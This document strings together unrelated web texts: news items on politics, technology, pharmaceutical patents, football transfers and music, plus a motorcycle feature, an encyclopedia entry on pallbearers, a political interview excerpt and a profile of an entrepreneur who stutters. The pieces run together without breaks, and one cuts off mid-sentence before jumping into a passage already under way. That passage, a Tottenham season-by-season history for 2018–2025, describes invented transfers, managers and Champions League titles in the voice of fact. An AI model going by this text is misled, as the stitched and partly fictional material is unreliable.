Activists at the July 7 Black Lives Matter march in Dallas said that Johnson was not a part of their protest, The Daily Beast reported.
The anti-Black Lives Matter petition says, “Terrorism is defined as ‘the use of violence and intimidation in pursuit of political aims.’ This definition is the same definition used to declare ISIS and other groups, as terrorist organizations.”
“Black Lives Matter has earned this title due to its actions in Ferguson, Baltimore, and even at a Bernie Sanders rally, as well as all over the United States and Canada,” the petition adds.
Petitions on the White House website need to reach 100,000 signatures within 30 days in order to receive an official response from the White House within 60 days.
A counter petition on the White House website sprung up on Sunday urging the Obama administration to not recognize Black Lives Matter as a terrorist group.
That petition, which garnered about 1,200 signatures by Tuesday, states, “A petition to recognize the black lives matter movement was started and that’s not what the movement is about. It’s about bringing change to America through nonviolent protests.”
Following the Dallas cop massacre, Texas Lt. Governor Dan Patrick was quick to directly blame Black Lives Matter protests for the killings.
On Monday, Police Commissioner Bill Bratton defended his criticism of the group, saying, “The issue of concern I have is when an organization or any organization seeks to define us, or stereotype us.”
A Black Lives Matter rep did not immediately respond to a request for comment on the petition.After the rollout of XE12 in mid-December and the announcement that January would not bring an update, Glass Explorers have been anxiously awaiting the release of XE14, originally due in February. As it turns out, they were to be disappointed. In a posting to the private Glass Community forum late yesterday, Teresa Z explained that XE14 had missed its February deadline. The reason: it simply wasn't ready to be released. Unfortunately, no details were given with regard to the timeline for the next update.
The post went on to express the development team's enthusiasm and rapid progress, and to announce one exciting detail: the Explorer Edition will finally leave behind Ice Cream Sandwich and jump straight to Kit Kat! We can probably expect the upgrade to incorporate the advantages of Project Butter and Project Svelte, effectively lowering the demands on the system and battery life while also improving framerates and overall performance. Naturally, the upgrade will also bring with it 2 years worth of improvements including: Bluetooth Low Energy, OpenGL ES 3.0, better security, a richer API, and so much more. It's too early to be sure if an architecture-dependent feature like ART will make it in, but we will have to wait and see. Again, it's not clear when this upgrade will be rolling out or if it's even coming in the next release.
While Teresa emphasized that the Glass team still intends to maintain regular updates, the monthly schedule might be a thing of the past. This is the result of more ambitious goals, like revamping the Glass Boutique (app store) and building out the Glass Development Kit (GDK). The statement also suggests that developers will have a lot to look forward to in the next release, but gives no details. In the meantime, there is a reminder for users that they can now share directly from Glass to Google+ communities.
The February Update 02-28-2014 05:19 PM OK, before you read any further, make sure you’re sitting down. Are you sitting down now? Good. We know that a lot of you have been patiently waiting for the next release. In fact, your excitement and anticipation for our upcoming releases always pushes us to come up with something that’s worth the wait. It needs to be good. And what we had planned for February just isn’t ready for primetime yet. So... we’ve decided to hold off for now. [Go ahead, feel free to take a moment of silence to honor the fallen updates.] I know this might be a disappointment to some of you. But it’s all part of the Explorer program. We’re trying a lot of things. Most of them work out great, and some of them need a little more polish. In this case, we’d rather wait to get it right, than release something that isn’t up to snuff. Now the good news. We’re still moving extremely quickly. Since the first Explorers got their Glass less than a year ago, we’ve already been through eight updates – nine if you count last year’s hardware revision. The pace isn’t changing and we're still committed to regular updates for Glass – even if they’re not monthly anymore, because bigger updates just take more time. In fact, we’re working to move Glass from Ice Cream Sandwich to Kit Kat to make the Glass experience smoother and just plain better. This change will make it easier for us to bring you more useful updates and it’s something we’re really excited about. Developers, we know you’re gonna be excited, too. But it’s also something that we don’t want to send to you all until it’s just right. (We did flip on sharing to Google+ communities, which was originally slated for this month’s updates – and something we know you’ve been waiting for.) Now off we go to bake a little more awesome into the sauce.
At least the Glass team isn't compromising software quality simply to deliver updates on time. However, speaking on behalf of Glass Explorers everywhere, it would have been nice to know this a couple of weeks ago. In the meantime, I suppose we can officially write off XE14 as vaporware and begin watching for XE15.
Source: Glass Community Forum (Explorers-only)Written by guest writer Ian Lee.
Who doesn’t love the look of bare metal? It gives the impression of so much potential, but can also be a finish in itself. Jason Moore of Flying J Customs is one man who is able to produce a bike using bare metal highlights, and his 1976 Honda CB550 café racer is packing more aluminum than a fridge full of leftovers. With performance to match the looks, today’s feature bike is bare metal goodness, with old school styling thrown in. Did I mention about the bare metal?
Relieving the CB of it’s original fuel tank and seat, a Norton Sprint tank and tail combo has been fitted, custom made for this bike. “I wasn’t totally sure what I wanted until I talked to Richard from TAB Classics.” says Jason. “He sent me a picture of a CB550 frame with the Norton Sprint tank on it and I was instantly sold.” A bikini fairing sourced from Japan continues the aluminium aspect of the build, wrapped tight around an Acewell speedo/tachometer. Aluminum clip-ons and Raask rear sets build the café racer image of the bike, while a set of 18″ Excel rims laced with stainless spokes make up the rolling stock.
In the engine department, Jason has made sure his bike goes as hard as it looks. 61mm pistons, running at 10.5:1 compression, boost the capacity up to 592cc. The mildly ported head, with matched intakes, is running a hot street cam. A set of aluminum velocity stacks breathe in, a race replica 4-4 exhaust system exhales.
To increase the reliability of the electricals, some modifications have been made. Dyna 2000 ignition and mini coils replace the original system, a modern regulator rectifier and lightweight Shorai battery have been fitted as well.
A second disc and caliper has been added for improved braking, as well as having the discs drilled and lighted by 2 lbs each. It has taken Jason over 5 years to finish this build and has built and sold many bikes in between to pay for this one. From the ported and bored out engine, to the beautiful tank and seat arrangement, he has built a bare metal beauty that any rider would be happy to race between more than just cafes – as long as they don’t mind a bit of polishing that is.
[To see more of this stunning bike, check out this very thorough build thread].There’s a new piece of software by neuroacid in the Links section: an on-screen menu for Rhea and Phoebe devices. There’s a readme.txt in the ZIP package, it explains how to properly use it.
Before someone gets this bright idea: Do not touch (modify, rename, move, etc.) any of the files in the RMENU folder.
Also, on the subject of Rhea/Phoebe: Very sorry but after some deliberation I will take no more orders for these in 2015. I didn’t plan around December with GDEMU only to have that time filled with manufacture of other devices. Plus I need to order more PCBs so I can’t ship anything right now anyway, and I found (time and time again) that long wait while already on the list makes people not pay when requested and stop responding to emails. If you’re going to change your mind please do it before you place the order, it’s easier for me and better for everybody else as the queue can move along faster.
Seriously people, impulse buyers are maybe not a big deal in the grand scheme of things but they make the delays at the end of each list grow exponentially. I’m to blame for most of the delays, yes, but the really bad ones are actually not my fault but a result of the cumulative time wasted for payments that are not going to happen. If you’re not going to pay then at least have the decency to email me and cancel your order.
AdvertisementsHouse Minority Leader Nancy Pelosi implored cable companies last week to support a privacy measure that would vastly restrict their business, and would, consequently, give Pelosi’s own big-time donors a critical edge online.
Pelosi sought responses from businesses like Comcast, Verizon, Sprint and AT&T, to see if they support the repeal of pending Obama-era privacy regulations mandated by the Federal Communications Commission (FCC) in October of 2016. Pelosi worried that undoing the new rules through the Congressional Review Act would allow internet service providers (ISPs) to package and sell people’s personal browsing data to advertisers.
Companies not mentioned in the the letter include Google and Facebook. Both not only make enormous amounts of money connecting ads to consumers, but also contribute financially to Pelosi.
Google is expected to make $72.69 billion in ad revenues in 2017, while Facebook is estimated to make $33.76 billion, according to market research company eMarketer. The two companies combined account for 90 percent of the growth in new ad revenue.
Google and Facebook donated a combined $80,875 to Pelosi through the last three campaign cycles, according to OpenSecrets.org.
Some argue that the data such private companies like Google and Facebook have is way more detailed and personal than the one’s ISPs can use.
“Google’s Gmail system has very good access to personal data — it sees what you’re telling your friends, business contacts, and family and it knows who your friends are,” Richard Bennett, a tech consultant and one of the original creators of the Wi-Fi system, told The Daily Caller News Foundation (TheDCNF). He added that, on the contrary, Gmail is encrypted so ISPs cannot determine what is being said and to whom.
Bennett went on to say that Facebook is similar since, along with Google, they have tracking code embedded in ninety percent of the top 1,000 webs sites, meaning the two companies are able to monitor beyond their own platforms.
But the Electronic Frontier Foundation, a nonprofit digital rights group, disagrees with Bennett’s contentions, and essentially says the opposite.
“Google and Facebook don’t see all your online behavior — only the traffic you send to them. But your ISP sees everything,” a spokesperson for the EFF told TheDCNF. “ISP spying is a much harder thing to fight than app spying,” referring to Google’s Android operating system. (RELATED: Google Android Apps Are Colluding, Sharing Users’ Data Without Consent)
Unlike Pelosi’s letter, the EFF says that it is still worried about Google, Facebook and other services violating people’s privacy.
“Both companies (and many more) should do more to protect privacy on a daily basis. However, the answer isn’t to lower privacy protections elsewhere — it’s for all services to do the right thing.”
After President Donald Trump signed the CRA repeal of the rules, Republican FCC Chairman Pai said the decision “appropriately invalidated one part of the Obama-era plan for regulating the internet,” according to Reuters. “Those flawed privacy rules, which never went into effect, were designed to benefit one group of favored companies, not online consumers.”. (RELATED: FCC Wants To Get Rid Of One Of The Most Annoying Things In The World)r
A representative for the Center for Democracy and Technology told TheDCNF that one of the main reasons Pelosi and the vast majority of Democrats voted against the repeal was due to their “understanding that the broadband privacy rules were fulfilling the Commission’s Congressional mandate to ensure that common carriers protect the confidentiality of their customers’ information.”
ISPs and cable companies often claim that the only information they want are related to preferences and tendencies for marketing purposes.
Companies are forbidden by the Telecommunications Act to collect and provide data to advertisers that is “individually identifiable,” or pegged to a certain person.
“We do not sell our broadband customers’ individual web browsing history. We did not do it before the FCC’s rules were adopted, and we have no plans to do so,” said Gerard Lewis, Comcast’s chief privacy officer, according to Reuters.
The Internet & Television Association (NCTA), a trade association that represents broadband companies and more than 90 percent of the U.S. cable market, says the repeal of the FCC’s rules does not mean ISPs will start selling “their customers’ ‘sensitive’ information — including financial, children’s, and health information, social security numbers, and precise geolocation data — without first obtaining the affirmative opt-in consent of their customers.”
As Mike Wehner writes for BGR, “Sorry, but nobody actually cares about your web browsing history.”
Phil Kerpen, a free-market policy analyst and president of a conservative organization called American Commitment, disputes the notion that Democrats like Pelosi voted against the repeal because they wanted to ensure privacy protections.
“Democrats have a very close relationship with Google, Amazon, and Facebook that benefit from draconian rules imposed on ISPs to keep them from entering the online advertising market,” Kerpen said, according to TheDCNF. “They also see the fake tech-left narrative about ‘selling your browser history’ — which of course is still as illegal as ever — as an opportunity to score political points.”
The former CEO of Google, Eric Schmidt, who now serves as the executive chairman of parent company Alphabet, is not shy about his affinity for liberal causes and former Secretary of State Hillary Clinton. (RELATED: Google Boss: Trump Admin Is Going To Do ‘Evil Things’)
Schmidt was spotted wearing a “staff” badge during Clinton’s election night party.
Alphabet was also reportedly spearheading the funding efforts for the legal brief signed by nearly 100 companies that objected to President Donald Trump’s temporary immigration ban.
Kerpen claims that Republicans voted for the repeal of the FCC privacy order “to undo the corrupt gift given to Google.”
The final point Pelosi makes in the letter appealing to ISPs and telecomm companies purports that there is a connection between this measure and reports of Russian hacking.
“Americans learned last week that agents of Russian intelligence hacked into e-mail accounts to obtain secrets on American companies, government officials and more,” Pelosi writes. ” This resolution [repeal] would not only end the requirement you take reasonable measures to protect consumers’ sensitive information, but prevents the FCC from enacting a similar requirement and leaves no other agency capable of protecting consumers. Does your company support the enactment of S.J. Res. 34?”
Kerpen called Pelosi’s letter “naked political grandstanding.”
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.NEW DELHI/MUMBAI (Reuters) - The United States on Thursday voiced concern over protection of patents on safer and more effective next-generation medicines in India amid fears that authorities are considering allowing more Indian firms to make new varieties of cheap generic drugs still on patent.
An Indian committee is reviewing up to a dozen patented drugs to see if so-called compulsory licenses, which in effect break exclusivity rights, can be issued for some of them, two senior government officials said last month.
“I understand that India has issued one compulsory license, but there’s a lot of concern about what additional licenses are being considered,” U.S. Assistant Secretary of State Nisha Biswal told reporters in the Indian capital.
“There’s concern about... whether next-generation drugs would be protected, and how do you ensure that investments that are being made to develop ever-more effective drugs can then be continued.”
In 2012, India issued its first-ever compulsory license to domestic drugmaker Natco Pharma Ltd on a kidney and liver cancer drug, Nexavar, patented by Germany’s Bayer AG.
That and a series of recent decisions on patented drugs in India, as part of New Delhi’s push to increase access to life-saving treatments, is at the centre of trade friction between Asia’s third-largest economy and the United States.
Like other emerging markets, such as South Africa and China, India is battling to bring down healthcare costs and boost access to drugs to treat diseases such as cancer, HIV/AIDS and hepatitis.
Western drugmakers, including Pfizer Inc, Novartis AG, Roche Holding AG and Sanofi SA, covet a bigger share of the fast-growing drugs market in India.
But they have been frustrated by a series of decisions on patents and pricing, as part of New Delhi’s push to increase access to treatments in a country where only 15 percent of the 1.2 billion people have health insurance.
“The constant threat of compulsory licenses hangs like a Damocles sword over patent-holders,” Ranjit Shahani, vice chairman and managing director of Novartis’ India unit, told Reuters in an interview on Tuesday.
“Over the past two years, the government of India has issued several intellectual property decisions that disproportionately impact innovative biopharmaceutical companies,” he said. “Not only is this a concern for business in the Indian market, but also in other emerging markets that may see India as a model to be emulated.”
India is on the U.S. government’s Priority Watch List - countries whose practices on protecting intellectual property Washington believes should be monitored closely.
U.S. industry trade group Pharmaceutical Research and Manufacturers of America (PhRMA) believes Washington should take a tougher line by downgrading it to a Priority Foreign Country, a classification for the worst offenders, which could trigger possible actions, sources said last month.
If India is relegated by the U.S. to Priority Foreign Country level, it would join Ukraine as the second country in that segment. Countries in the Priority Watch List include China, Indonesia, Pakistan, Russia, Thailand and Argentina.Jan Vertonghen: Will be turning out in the Premier League for Tottenham next season
Jan Vertonghen believes he is ready to face the challenges of the Premier League head on after agreeing to join Tottenham Hotspur.
The centre-half arrives at White Hart Lane having forged quite a reputation during his time at Ajax.
A number of clubs were keen to add his defensive qualities to their ranks, but it is Spurs who have secured his signature.
Vertonghen is delighted to have seen a protracted transfer saga reach a conclusion and is confident he can handle the demands of life in the English top-flight.
"I am very relieved," he told Sky Sports News HD.
"It went on for a long time, but I'm glad I'm a Tottenham player right now and I'm looking forward to playing for the club.
"I am 25 years old now and I feel ready to play in the Premier League. I have heard a lot of good stories from my Belgian team-mates. I think I'm ready."
Fans
Tottenham first made their interest in Vertonghen known during Harry Redknapp's managerial reign, but he has since been replaced by Andre Villas-Boas.
Vertonghen said: "I heard that Harry Redknapp really wanted me to play for Tottenham, but now it's Andre Villas-Boas. To me, that doesn't matter. I just want to play for the club and I hope I can please the fans at the club."
Spurs have already agreed a deal for Hoffenheim playmaker Gylfi Sigurdsson this summer and are doing all they can to keep the highly sought-after Luka Modric in north London.
Vertonghen hopes the Croatian can be persuaded to stay, with Tottenham setting their sights on another top-four challenge next season.
He said: "They have a lot of good players and I hope they will stay. I am not one of the directors, but I hope the players will stay and we will have a good team next year."Foo Fighters have enlisted Paul McCartney to play drums on their upcoming LP Concrete and Gold. In a new interview with ET Canada, the band revealed how McCartney recorded on one of the album’s tracks. “He hadn’t even heard of the song. He comes in and Dave picked up an acoustic and showed him real quick,” an unspecified member of the band said. “He sat on his special drum set that his tech set up for him. I sat there with a drumstick conducting. He did two takes.” Previously, frontman Dave Grohl teased “the biggest pop star in the world” is featured on the project. However, Grohl clarified that McCartney is not the star guest: “He or she sings backup on one of the heaviest songs on the record. And we’re not telling anybody who it is.”
McCartney previously collaborated with Grohl and two other former Nirvana members (bassist Krist Novoselic and current Foo Fighters guitarist Pat Smear) on "Cut Me Some Slack" for Grohl's 2013 film, Sound City. McCartney also played the song with Grohl, Novoselic, and Smear at a 2012 benefit concert for the victims of Superstorm Sandy in New York.
Concrete and Gold arrives September 15 via Roswell/RCA. The Greg Kurstin-produced record also features “Run,” which debuted with a crazy Dave Grohl-directed video. Foo Fighters are currently on the road—find the full dates here. Their new music festival, Cal Jam ‘17, will feature performances from Queens of the Stone Age, Liam Gallagher, Japandroids, and more. Foo Fighters’ last release was 2015’s Saint Cecilia EP. In 2014, they shared their Sonic Highways LP.(Reuters) - Alphabet Inc venture capital arm GV said Bill Maris, a leading voice in the venture industry, is leaving the investment firm he founded and ran as chief executive for close to eight years.
Bill Maris, president and chief executive officer of Google Ventures, speaks about the future during the Wall Street Journal Digital Live (WSJDLive) conference at the Montage hotel in Laguna Beach, California October 20, 2015. REUTERS/Mike Blake
GV, formerly known as Google Ventures, said Friday that Maris would be replaced by managing partner David Krane.
“Bill Maris has decided to step down to take a break with his family and tackle something new,” GV said in a statement.
Krane has been at Google for nearly 17 years, starting as the company’s first communications director.
GV, founded in 2009, pioneered a new style of corporate venture capital, making big bets on bleeding-edge technology such as commercial drones and 3D printing, and new business models such as ride-services company Uber and genetics testing firm 23andMe.
Unlike many corporate venture arms, GV rarely invests in a startup that is acquired by its corporate affiliate. Just six of GV’s 320 or so investments have been acquired by Google, a spokeswoman said.
It has roughly $1.4 billion under management, with many companies now worth several billions of dollars. Its investment in online retailer Jet.com paid off this week when Wal-Mart announced it would acquire the company for about $3 billion. It has also had its share of failures, such as messaging app Secret’s demise last year.
But GV has slowed its pace of investments dramatically over the last year and a half. The firm made just 34 investments in 2015 compared to 63 in 2014, a 46 percent drop, according to venture capital database CB Insights.
Maris had been vocal in encouraging richly valued startups to go public rather than continuing to exploit the booming private markets, and depriving employees and early investors the chance to cash out their shares.
Alphabet has added other investment vehicles since GV. Google Capital, a growth-stage investment fund, launched in 2014, and Google began making investments from its balance sheet over the last couple of years.
However, GV’s pace of investments still outpaced the others, according to CB Insights.
Maris’s exit is the latest in a string of high-profile departures from Alphabet. Chris Urmson, chief technical officer for its self-driving car project, left last week, while Anthony Levandowski, product manager for the program, left earlier this year to co-found a startup.
Tony Fadell, a well-known Silicon Valley executive who was once expected to play a central role in Alphabet’s hardware efforts, stepped down as chief executive of its Nest unit in June.Saturday Nights Anime Style
12A DBZ Kai
12:3A Akame Ga Kill
1A Parasyte The Maxim
1:3A Samurai Champloo
2A Naruto: Shippuden
2:3A One Piece
3A Kill la Kill
Toonami has always been a great outlet for anime in America. Although it has been lost to us for quite some |
out to be a coup for Spurs, as the striker netted 23 times in all competitions. Erik Lamela returned to his blistering form, earning a team-of-the-season nod alongside Benzia. Meanwhile, the quickly-deflating Josep Drmic became an out-of-form attention magnet and was promptly dumped off to lowly Spezia of Serie B.
In Europe, Spurs enjoyed a solid if unspectacular run in the Champions League, topping a group which featured Napoli, Sparta Prague, and CSKA Moscow. A pair of excellent performances against Shakhtar saw Spurs through to the quarter-finals, where they were overpowered 4-1 on aggregate by PSG.
Spurs finished nine points off title-winning Arsenal, but other than the extra sting of derby undertones in the Gunners’ title, had a solid campaign which resulted in Champions League qualification.
2018-19
Premier League: 5th
FA Cup: Third Round
Capital One Cup: Semi-Final
Champions League: Semi-Final
Poor Premier League and Champions League results early in the campaign doomed Schuster, who was sacked in early November with the club adrift in eighth and bottom of its European group. Leonid Slutsky was brought in to put out the fire, which he did admirably.
Young centre-back Motoki Kurihara was brought in from Marseille in January, stabilizing Spurs’ defence in the absence of the recently-retired Jan Vertonghen.
Benzia bagged another 28 goals in all competitions, while Lamela was once again superb. Florenzi, now in his third full season with the club, served as the rock in the heart of the midfield in Slutsky’s 4-4-2 diamond.
A deep Champions League run was only stopped by fellow Londoners Chelsea, who downed Spurs 4-2 on aggregate in the semi-final en route to lifting European club football’s greatest trophy.
2019-20
Premier League: 6th
FA Cup: Fifth Round
Capital One Cup: Finalist
Europa League: Round of 32
In a move eerily similar to Gareth Bale’s some seven years before, striker Yassine Benzia’s departure to Real Madrid left Spurs rudderless. While all of Benzia’s $75m transfer fee was reinvested back into the squad by Slutsky, things didn’t click and Spurs dropped their first six games of the Premier League season.
A disappointing exit from the Europa League at the hands of German upstarts Stuttgart left Slutsky’s job in question in mid-March, and a 4-0 drubbing suffered the following week at Wembley against Chelsea in a cup final doomed him to his fate. With the season already a loss, Slutsky was allowed to stay on through May, at which time he parted ways with the club.
The departure of Benzia to Real Madrid cast the club adrift, seemingly undoing the progress of the past two seasons. The mind-boggling thing is that Slutsky didn’t even attempt to replace his best striker, instead opting to $35m on centre-back Steven Caulker and $15m on young Russian wingback Anton Aslanov.
2020-21
Premier League: 4th
FA Cup: Fifth Round
Capital One Cup: Third Round
Europa League: Round of 32
After four years at the helm of West Ham, Roy Keane took the managerial reins at the New White Hart Lane in May of 2020, shortly after Slutsky’s departure. His term lasted all of six months, as he was sacked in mid-November with the club sputtering in ninth place.
The sole piece of sound business from Keane was the $33.5m deal he made with Udinese for mini-maestro Bernard. The international Brazilian star netted a team-high 21 goals, followed closely by the timeless Lamela (20), who himself was quickly becoming the face of the club.
Steve Bruce took over and, placing the focus on domestic football, managed to guide Spurs to an improbable Champions League berth, sacrificing European and domestic cup results in the process.
2021-22
Premier League: 2nd
FA Cup: Fifth Round
Capital One Cup: Fourth Round
Champions League: Round of 16
Though six points off of Chelsea at the top, Spurs truly established themselves as a Premier League threat in Bruce’s first full year at the New White Hart Lane. A league-high 15 draws and a league-low four losses speak to the defensive tactics Bruce used when playing away.
Spurs went undefeated in the final three months of the campaign, and had Chelsea not been so dominant at the top, could have made a real race of it.
In Europe, Bruce’s side finished second behind Dortmund in a group which also included Olympiakos and Swiss side Grasshoppers, before bowing out respectably to Real Madrid in the first knockout round.
In the transfer market, Spurs made a pair of extravagant signings, bringing in Brazilian strikers Rodrigues (Wolfsburg) and Otininho (Flamengo) for a combined $44m. The result was a more balanced attack, as Bruce’s Spurs side had five ten-goal scorers in Lamela (17), Bernard (13), Otininho (12), Shelvey (12), and Rodrigues (11). That’s right, Jonjo Shelvey.
This season is fondly remembered by fans as the turning point when Spurs became a consistent Champions League club and genuine title threat in the domestic league.
2022-23
Premier League: 6th
FA Cup: Fourth Round (replay)
Capital One Cup: Quarter-Final
Champions League: Champions
Aged 32, Erik Lamela endeared himself forever in the hearts of Spurs fans, scoring ‘the goal’. In fact, the club legend scored both in a 2-0 Champions League final victory over PSG. He also claimed Premier League Player-of-the-Year and bagged 19 goals in all competitions.
Domestically, the season wasn’t as much of a ruin as sixth-place would suggest: Bruce’s side finished just five points off the top in a ridiculous title race which featured six clubs and a three-way tiebreaker to decide the title. Ultimately, Man City (70) had a better goal difference than Liverpool (70) and Arsenal (70), allowing Frank De Boer’s Citizens to claim the title on rather shaky terms.
Spurs surprised many by advancing through Group B in the Champions League group stage, finishing in first with 12 points, ahead of Monaco, Real Madrid, and Rapid Wien. Incredibly, Madrid lost out on the head-to-head and were sent packing to the Europa League. Spurs advanced on away goals after a 2-2 aggregate draw with Lyon in the Round of 16.
A first leg 2-0 defeat suffered at home to Spanish giants Barcelona left few Spurs supporters hopeful heading into the second leg at the Camp Nou, but soon-to-be club legend Erik Lamela had a surprise in store for them. The Argentine netted a brace in the opening ten minutes, levelling the tie, and set up Otininho for a brace of his own in the second half, handing Spurs an unlikely 4-2 aggregate quarter-final victory over Barca.
A pair of wild matches in the semi-final saw Bruce’s club progress past Manchester United, 6-3 on aggregate. Again, Lamela had three goals and assisted on two others in what was quickly becoming a season to remember.
The final in Lisbon was a sloppy, rain-filled affair, with neither side mustering a shot in the first half. The breakthrough came in the 52nd, as Lamela latched onto a pass from Otininho before firing home, sending the thousands of Spurs supporters into a frenzy. An 89th minute breakaway saw his 32 year-old legs churning as fast as they could towards Salvatore Sirigu, before chipping the PSG ‘keeper and securing an historic victory.
2023-24
Premier League: 3rd
FA Cup: Fifth Round
Capital One Cup: Fourth Round
Champions League: Round of 16
Club World Cup: Champions
2023-24 saw Spurs in a position the club had never been in before: one of consolidation. As defending European champions, they had a large bulls-eye on their backs from the get-go in Steve Bruce’s third full season in charge.
Spurs’ Champions League title defence got off to a superb start, as Bruce’s side cruised through a group involving Inter Milan, Lyon, and Ajax.
The fairytale campaign ended shortly thereafter, as the 64 year-old Bruce abruptly left his post amidst health concerns. Portuguese journeyman boss Paulo Fonseca would step into the role in early-December, and Spurs promptly rattled off seven consecutive victories under his guidance.
During that seven-match winning streak, the club laid claim to its first bit of international silverware, as it pummelled both African champions Orlando Pirates and Asia champions Al-Ittihad en route to a FIFA Club World Cup title.
Things became bumpier in March, as Spurs were bounced from the Champions League unceremoniously by Monaco, 4-1 on aggregate, in the Round of 16. This, coupled with an FA Cup defeat against lowly Charlton and four consecutive losses in the league, resulted in a winless month.
2024-25
Premier League: Champions
FA Cup: Third Round
Capital One Cup: Third Round
Champions League: Champions
Well, a truly incredibly double for Fonseca’s men. Spurs have morphed from an overspending, underachieving team a decade ago, into a dominant force in English and European club football. Fonseca’s men literally could have walked through the final few matches of season, finishing atop the Premier League table ten points ahead of second-place Manchester United.
At 33, there is no doubt that Erik Lamela is on the decline. But you better believe the Argentine, whom they’ve now monikered, ‘El Gran Spur’ at New White Hart Lane, showed up for the Champions League final at Wembley.
After a season of sporadic appearances on a talented squad, ‘El Gran Spur’ played all ninety minutes against PSG, scoring the winner in the 66th minute and taking an individual lap of honour with the Champions League trophy upon full-time.
Times have changed. Erik Lamela and goalkeeper Hugo Lloris are the only names that remain from the middling teams of a decade ago. 21 year-old Swedish superstar Peter Bergstrom is the new Harry Kane, while Slovak trequartista Frantisek Pekar electrifies crowds at the 80,000-seat New White Hart Lane.
Worth a reported $1.34B, Spurs are the sixth-richest club in the world. With the third-largest wage budget in England now, they are expected to compete for multiple trophies on a yearly basis. To think that, a mere decade ago, Spurs fans were satisfied with battling annually for fifth-place and Emmanuel Adebayor starting up front. How the times change.Pallbearers at a dignitary's burial in Kenya
A pallbearer is one of several participants who help carry the casket at a funeral by wearing white gloves in order to prevent damaging the casket and to show respect to the deceased person.
Some traditions distinguish between the roles of pallbearer and casket bearer. The former is a ceremonial position, carrying a tip of the pall or a cord attached to it. The latter do the actual heavy lifting and carrying. There may otherwise be pallbearers only in the symbolic sense if the casket is on an animal or vehicle.
In Western cultures, the pallbearers are usually male family members, close friends, or colleagues of the deceased. A notable exception was the funeral of Lee Harvey Oswald, in which reporters, pressed into service to carry the coffin, outnumbered the mourners.[1] In some Asian cultures, pallbearers are not to be members of the family but are outsiders, given a tip to perform the services of pallbearer.[citation needed]
At times additional pallbearers, known as Honorary Pallbearers, walk either behind or directly in front of the casket in a showcase of supplemental distinction towards the deceased. This type of pallbearer is most often a gentleman in the profession of the deceased who has achieved significant merit within their position.[2]
Etymology [ edit ]
A "pall" is a heavy cloth that is draped over a coffin.[3][4] Thus the term "pallbearer" is used to signify someone who "bears" the coffin which the pall covers.
Method of carrying [ edit ]
Pallbearers in the US and Canada most commonly carry a casket by the handles, and at around waist height.[5] In the United Kingdom, Australia, Ireland and most countries in Asia, the coffin is often carried on the shoulders.[6][citation needed]
References [ edit ]Added Aug 14, 2012
Little is currently know about Kid Cudi's upcoming third studio album. What can be confirmed is that the song "Just What Iam" will on the album, Kid Cudi has produced a majority of the tracks, and the album will be released in conjunction with Cudi's own label Dream On which is a joint venture with Kanye West's G.O.O.D. Music and Universal Motown.
What has been speculated is that the album will be a double disc and may feature contributions from Kanye West, Pusha T, Jaden Smith, Kendrick Lamar, King Chip, Cage, Jay-Z, 50 Cent, Lloyd Banks and Diplo.
Update: Kid Cudi has mentioned that the album won't be a 2CD release and that we can expect a retail release in March.
Update 2: The date has been set, officially announced at Kid Cudi's Facebook page. April 23rd people, set your calendars!
Update 3: Kid Cudi has announced both the track list, which features Michael Bolton and A$AP Rocky, and the cover which says represents him. He also recently performed three new tracks at the Jimmy Kimmel show, one of which you can listen to below. It's the lead single, "Immortal", which is also to get an official video later in April. You can pre-order the album (both on Vinyl and as MP3) at the Kid Cudi site, but there's no european retail release set.Although it has spread to multiple locations across California, as well as Las Vegas and Japan, Undefeated’s roots remain firmly planted in Los Angeles. To communicate an L.A. theme, Bond and Cruz commissioned artists Mister Cartoon and Nathan Cabrera to design a collection of clothes and photographer Estevan Oriol to shoot the lookbook. All three are known for capturing the city’s Mexican-American street culture. Cabrera designed paisley-print bandanas that incorporated the Ape head and Undefeated’s five-strike logo. Additionally, he and Cartoon created a graphic for the clothing line, including an 8-ball reference, praying hands, spider webs, and Undefeated’s logo in Old English font. Shot in Oriol’s signature black-and-white style, the lookbook hearkens back to the city’s gang culture, connecting the street culture graphics with the streetwear energy that prefers a hardened aesthetic.
With the clothes and overall vibe of the collection solidified, Undefeated needed to figure out how to incorporate BAPE’s signature camo print, which is still associated with the brand almost two years after Nigo left the company, into the Superstar silhouette so it didn’t feel passé. “Everyone is kind of over camo, even though it’s synonymous with BAPE,” says Bond. “But you can get away with it in a subtle way when there’s a quick pop. The small details are what make the sneaker world special.”Great-great-great-grandmother, Martha (born 1821)
Great-great-grandmother, Jane (born 1858)
Great-grandmother, Attie Mae (born 1898)
Grandmother, Mildred (born 1928)
Mother, Kathryn (born 1957)
Christine (born 1981)
Los Angeles-based photographer Christine McConnell has created a wonderfully unique family album by recreating a series of portraits of different generations of her female relatives, spanning 200 years.Her photo project called “Seven Generations of American Women,” is a beautiful tribute to McConnell's female side of her family tree, for which she did an amazing job recreating the poses, hair, makeup, clothes of her ancestors, and even perfectly mimicking the nostalgic photo effects of the original portraits.The idea for the project came after McConnell's mother gave her a dress that she herself had worn and been photographed in as a younger woman. After getting the dress, McConnell got the idea to recreate her mother's photo — and she didn't stop there. She went on to recreate the photos of several more of her female ancestors, including her grandmother, great-grandmother, and even her great-great-great-grandmother who was born in 1821.(Photos © Christine McConnell)CHUCK TODD: Okay. Do you want to see Roe v. Wade overturned?
DR. BEN CARSON: Ultimately, I would love to see it overturned.
CHUCK TODD: And that means all abortions illegal? Or is there still an exception that you would have?
DR. BEN CARSON: I'm a reasonable person. And if people can come up with a reasonable explanation of why they would like to kill a baby, I'll listen.
CHUCK TODD: Life and health of the mother?
DR. BEN CARSON: Again, that's a extraordinarily rare situation. But if in that very rare situation it occurred, I believe there's room to discuss that.
CHUCK TODD: Rape and incest?
DR. BEN CARSON: Rape and incest, I would not be in favor of killing a baby because the baby came about in that way. And all you have to do is go and look up the many stories of people who have led very useful lives who were the result of rape or incest.Nick Weaver, COO and co-founder of Blue Delta Jeans, talks about succeeding in business, using humor in communication, stuttering being just one part of who he is, how stuttering can be an advantage in business, what he learned from his parents and so much more.
Nick Weaver was recently featured in the article, Finding the Perfect Fit, published by the Stuttering Foundation and in a Stuttering Foundation video from their 2015 New York City gala. Mr. Weaver was the keynote speaker at the 2015 FRIENDS Convention. Nick is a role model, an entrepreneur, an app developer, a husband, a father, a person who stutters and much more.
“[Stuttering] has turned into my conversation piece…When you are going to a business meeting it is something to talk about other than business. My stuttering has become my business tool. That’s how I break the ice…It lets people let down their own guard a little bit. That’s why I’m good at moving people. That’s why I can negotiate contracts. Stuttering is my blessing.” –Nick Weaver
